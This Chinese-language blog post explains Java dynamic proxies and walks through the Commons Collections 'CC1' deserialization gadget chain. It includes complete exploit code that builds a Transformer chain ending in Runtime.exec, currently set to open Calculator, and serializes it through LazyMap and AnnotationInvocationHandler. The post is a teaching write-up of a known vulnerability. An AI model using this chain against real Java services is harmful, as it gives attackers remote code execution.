这几天算是好好一边审计PHP的一些CMS一边啃Java的代码,终于能看懂CC链1的构造流程了
在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建interface
的实例,直接从demo来理解
首先我们来个通常写代码的方式
我们先来一个一个接口,本CTF狗来个Flag吧
interface flag { void getFlag(); }
接下来实现这个接口
class giveFlag implements flag { public void getFlag() { System.out.println("Give you flag:flag{y4tacker}"); } }
来测试一波,完整组合
import java.lang.String; public class demo1 { public static void main(String[] args) throws Exception { GiveFlag giveFlag = new GiveFlag(); giveFlag.getFlag(); } } interface flag { void getFlag(); } class GiveFlag implements flag { public void getFlag() { System.out.println("Give you flag:flag{y4tacker}"); } }
我们通过动态代理来做一个劫持玩玩,不玩最简单的
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.String; import java.lang.reflect.Proxy; public class demo1 { public static void main(String[] args) throws Exception { InvocationHandler handler = new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals("getFlag")) { System.out.println("就这?"); } return null; } }; flag getFlag = (flag) Proxy.newProxyInstance( GiveFlag.class.getClassLoader(), new Class[] { flag.class }, handler); getFlag.getFlag(); } } interface flag { void getFlag(); } class GiveFlag implements flag { public void getFlag() { System.out.println("Give you flag:flag{y4tacker}"); } }
最后输出了就这?
这个链子的流程是(来自ysoserial)
/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
首先给出这个链子的实现,来自P神大师傅!!!
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[]{"open /Applications/Calculator.app"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject();
首先触发点和之前很像,我们知道是通过对decorate修饰后的在添加新的元素的时候,可以执行一个回调;
Lazymap在其get方法当中执行factory.transform
,在get找不到值的时候,会调用factory.transform
去获取一个值
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
为了能调用这个方法,我们走AnnotationInvocationHandler中的invoke方法,在default分支
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
能看到上面Object var6 = this.memberValues.get(var4);
,因此要劫持内部调用就需要使用java.reflect.proxy
,上面已经说过了,如果我们把AnnotationInvocationHandler
做代理,那么在readObject
时,只要调用任意方法,就会进入AnnotationInvocationHandler
的invoke
方法,之后触发lazymap
的get
方法,而这个AnnotationInvocationHandler
实现了InvocationHandler
,因此我们就更可以放心大胆的飞了!!
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
在这以后对象里面的memberValues
就成功变成了我们的LazyMap
,
之前上一篇文章也说过,我们将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用LazyMap
的decorate包装,在触发lazymap的get方法后执行整个“回调”过程,整个链子的思路就很清晰啦!
然而我们最终的proxyMap也并不能直接对其序列化,毕竟他也没有readobject不能操作了,因此我再用sun.reflect.annotation.AnnotationInvocationHandler
对其进行包装一波,完美实现!!!庆祝